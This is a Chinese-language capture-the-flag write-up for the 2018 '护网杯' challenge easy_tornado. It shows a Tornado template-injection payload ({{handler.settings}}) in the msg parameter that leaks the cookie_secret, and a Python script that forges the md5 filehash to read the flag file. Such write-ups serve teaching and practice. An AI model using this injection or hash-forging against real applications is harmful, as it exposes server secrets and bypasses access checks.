[护网杯 2018]easy_tornado

发布时间 2023-12-11 17:23:03作者: imtaieee

题目打开后如下
image.png
welcome.txt 如下
image.png
提示是 SSTI(模板注入),此时打开了 welcome.txtURL 如下:/file?filename=/welcome.txt&filehash=fe64f8b2cf23eb919623376244ff1269
打开 hint.txt 如下
image.png
打开 flag.txt 如下
image.png
此时将 url 中的 filename 修改为其他字符,页面返回 Error,并且内容为 msg 参数控制
image.png

在tornado模板中,存在一些可以访问的快速对象,比如 {{escape(handler.settings["cookie"])}},这个其实就是handler.settings对象,里面存储着一些环境变量

因此将msg设置为 {{handler.settings}},得到
image.png
通过脚本最终得到 filehash

import hashlib
hash = hashlib.md5()

filename='/fllllllllllllag'
cookie_secret="d834f72e-46c6-41f4-93b2-c5e5fd27b3aa"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print("hash:" + hash.hexdigest())